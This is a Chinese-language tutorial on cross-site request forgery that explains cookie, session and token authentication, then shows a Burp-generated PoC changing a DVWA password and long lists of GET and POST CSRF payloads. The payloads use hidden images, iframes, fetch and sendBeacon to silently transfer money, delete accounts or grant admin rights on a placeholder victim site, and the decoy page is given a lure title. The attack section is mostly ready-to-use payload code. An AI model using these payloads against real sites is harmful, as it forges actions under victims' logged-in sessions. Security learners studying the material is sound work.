CSRF浅析深出
漏洞分析

身份验证
会话信息直接存储在cookie中:HTTP工作时本身是无状态的,无法记录状态信息(比如登录状态),浏览器有一个cookie机制——一旦浏览器本地保存有关于某个网站的一些信息,下一次请求时会默认携带上这些信息并放入到http请求头中的cookie字段中。此时,聪明的你想到了利用cookie机制维持用户的登录状态:用户一旦登录成功,后端服务器将表示用户身份的一些信息返回给浏览器,并让浏览器存储在cookie中,以后的请求中浏览器将自动携带cookie,后端服务器收到请求是就可以根据cookie中的信息查询数据库,然后判断用户是否存在、是否登录过,如果符合规则,再进行后面的业务操作。这样就实现了状态维持的效果,避免每次请求时都需要用户输入账号密码进行身份验证。值得注意的是,cookie本身是一种浏览器自动提交信息的机制/行为,并不表示具体的用户身份。
会话信息存储在session中:代表用户的信息如果存放到了客户端(浏览器),黑客就有控制的权限了,比如将user_id=1 ==> user_id=2,便可以以其他人的身份进行操作了,实现越权攻击。此时,聪明的你想到了新建一种机制——session。用户登录成功之后,后端服务器会从数据库中提取少量的用户信息组成一个文本临时存储,同时随机生成一个id并指向这个session,最后服务端将sessionID以Set-Cookie的形式返回给浏览器,保存在cookie中,后续服务端只需要从cookie中提取sessionID,并根据sessionID查询用户身份。这样一来,黑客没法直接获取此次会话中所需的用户信息。
会话信息加密后存储在客户端:由于session机制依靠的是服务端存储会话验证所需要的信息,导致服务端压力增加,且加上分布式/集群的后端架构、负载均衡等设计,导致不同的后端服务器之间共享session比较繁琐。但是直接讲会话信息存储在cookie中又不安全,怎么办呢?此时,聪明的你设计了另外一种鉴权机制——token:用户登录成功之后,后端服务器提取会话所需的用户信息,并使用预先设定的密钥对其加密,然后返回给客户端。后续的请求中携带上token,后端服务器收到请求后使用密钥进行解密,如果解密成功则使用里面的会话信息。密文的体积一般较大,所以token一般不会存放在cookie中,而是作为相应内容返回给客户端,客户端请求时放在header或者body中。
| 维度 | Cookie直接存会话信息 | Session(服务端)存会话信息 | Token(客户端)存会话信息 |
|---|---|---|---|
| 存储位置 | 浏览器 Cookie 文件 | 服务器内存/Redis | 浏览器localStorage或内存(JWT自身) |
| 性能 | 高:无需服务端查询 | 中:每次请求需回源读取Session 中的信息 | 高:无需回源,验签即可 |
| 安全 | 低:数据在客户端,可被篡改/窃取;需额外加密与校验 | 高:敏感数据在服务端,客户端只持随机SessionID | 中:自带签名防篡改,但一经发出即不可撤回;服务端密钥一旦泄漏,真格站点将不可靠 |
| 容量限制 | 约4KB(含其他 Cookie) | 受服务器内存或Redis容量限制,通常远大于4KB | 无硬性上限,但JWT过大会膨胀请求头 |
| 过期/失效控制 | 靠Expires/Max-Age,到期自动失效;服务端无法主动清除 | 服务端删除记录即可立即失效;可配置滑动过期 | 无法单体失效,只能等过期或维护黑名单,所以一般的AccessToken时间会比较短,通过RefreshToken生成新的AccessToken |
| 横向扩展 | 无需共享存储,但需解决解密/校验逻辑一致 | 必须引入中心化Session存储(Redis等) | 无需共享存储,任意节点用公钥/密钥验签 |
| 网络开销 | 每次请求自动携带所有Cookie,静态资源也背数据 | 仅携带SessionID,体积最小 | 每次请求携带完整Token,体积中等偏大 |
| 适用场景 | 非敏感、少量状态(如主题、语言) | 传统Web站点、需要一键登出、数据敏感 | 移动/App、API、微服务、跨域、第三方授权 |
漏洞成因
利用浏览器访问网站时自动带上cookie的功能特点


跨域请求资源。
teacher.guc.edu.cn(以下简称webA)和student.guc.edu.cn(以下简称webB)是两个不同的网站,有时候业务逻辑是webA会让浏览器向webB发送请求,将结果给到webA使用,这个功能叫做跨域请求资源,跨的就是不同的域名。构造攻击场景
- 黑客搭建一个自己的网站(简称webC),在webC上写一个前端代码,作用是让浏览器请求webA
- 受害者的浏览器的cookie中保存有关于webA的身份认证信息,且没有过期
- 诱导受害者访问webC,此时受害者的浏览器会自动携带上所有的cookie向webB发起请求
- 这个请求是黑客可控的,比如增加用户、修改密码、退出登录等任何请求,而后端服务器只判断这个请求是由谁直接发起的,有没有权限发这个请求,而没有进一步安全验证,判断是不是有第三方不知名网站跨域发起的,就直接执行业务逻辑,这就是
CSRF(Cross Site Request Forgery,跨站请求伪造,跨站点伪造用户凭证向服务器发起请求)
危害利用
抓到某个请求的正常报文(以DVWA的CSRF为例,这是一个修改密码的功能)

编写前端代码放在webC上,让受害者浏览器发起指定的请求(分为自动触发/0-click,手动触发/1-click),bp上自带插件
generate csrf poc。这里构造一个修改密码为nopass的请求1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19<html>
<header>
<title>美女荷官在线发牌</title>
</header>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://34.235.211.38:9090/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="nopass" />
<input type="hidden" name="password_conf" value="nopass" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>f
</html>诱导受害者访问webC



自定义payload
CSRF分类
- GET型:原操作属于GET请求,黑客也只需要构造GET请求就可以了,很多标签也都是以GET形式发送的请求,隐蔽性相对来说会更好。
- POST型:元操作属于POST请求,可以通过form标签发送post请求。当然,有时候POST请求可以强制改为GET请求,比如服务端的逻辑是从请求中获取参数,然后进行相关的逻辑,并没有明确指定是从GET请求中获取还是POST请求中获取,需要抓包尝试一下。
插件生成的csrf poc不够灵活,且很多地方容易露出马脚,让人发现,所以最好是自己写payload。
GET型CSRF常用payload
1
2
3
4
5
6
7
8
9
10
11<img src="https://victim.com/api/del?id=22" width=0 height=0 style="position:absolute;top:-9999px">
<img src="https://victim.com/user/transfer?to=attacker&money=1000" style="display:none">
<img src="https://victim.com/setAdmin?uid=666" hidden>
<iframe src="https://victim.com/priv/upgrade" style="display:none"></iframe>
<a href="https://victim.com/logout">查看精彩视频</a>
<link rel="shortcut icon" href="https://victim.com/account/del?sure=1">
<style> body{background:url("https://victim.com/do?action=reset&user=admin")} </style>
<style> .hack:hover{background:url("https://victim.com/csrf?token=0")} </style> <div class=hack></div>
<img src="任意小图" onload="new Image().src='https://victim.com/del?id=1'">
<script> setTimeout(()=>{new Image().src="https://victim.com/transfer?to=att&cash=1000";}, 5000);</script>
<body onmousemove="document.body.onmousemove=null; new Image().src='https://victim.com/api/del'">POST型CSRF常用payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70<iframe srcdoc="
<form id=f action=https://victim.com/transfer method=POST>
<input type=hidden name=to value=attacker>
<input type=hidden name=amount value=1000>
</form>
<script>document.getElementById('f').submit()</script>
" style=position:absolute;top:-9999px;width:0;height:0></iframe>
<form action=https://victim.com/transfer method=POST>
<input type=hidden name=to value=attacker>
<input type=hidden name=amount value=1000>
<!-- 下面两行是给受害者看的“正常”字段 -->
<input name=username placeholder=用户名>
<input type=password name=pwd placeholder=密码>
<input type=submit value=登录>
</form>
<script>
fetch('https://victim.com/api/transfer', {
method:'POST',
mode:'no-cors', //不触发CORS预检
headers:{'Content-Type':'application/x-www-form-urlencoded'},
body:'to=attacker&amount=1000'
});
</script>
<img src=x onerror="
fetch('https://victim.com/transfer',{
method:'POST',
credentials:'include',
body:'to=attacker&amount=1000'
})">
<svg/onload="fetch('https://victim.com/transfer',{method:'POST',credentials:'include',body:'to=attacker&amount=1000'})">
<style>
#box:hover{
background:url('https://victim.com/transfer'); /* 占位用 */
}
</style>
<div id=box onmouseover="
fetch('https://victim.com/transfer',{method:'POST',credentials:'include',body:'to=attacker&amount=1000'})
"></div>
<video src=x onerror="fetch('https://victim.com/transfer',{method:'POST',credentials:'include',body:'to=attacker&amount=1000'})">
<script>
window.addEventListener('beforeunload',()=>{
navigator.sendBeacon('https://victim.com/transfer','to=attacker&amount=1000');
});
</script>
<body onmousemove="document.body.onmousemove=null;
fetch('https://victim.com/transfer',{method:'POST',credentials:'include',body:'to=attacker&amount=1000'})">
攻防对抗
防御
- 同源策略
- 隐藏token
- 设置范围
- 二次验证:各种验证码、确认操作
绕过
- 绕过referer
- 删除token
- 结合xss等其他漏洞,以暗链的形式设置payload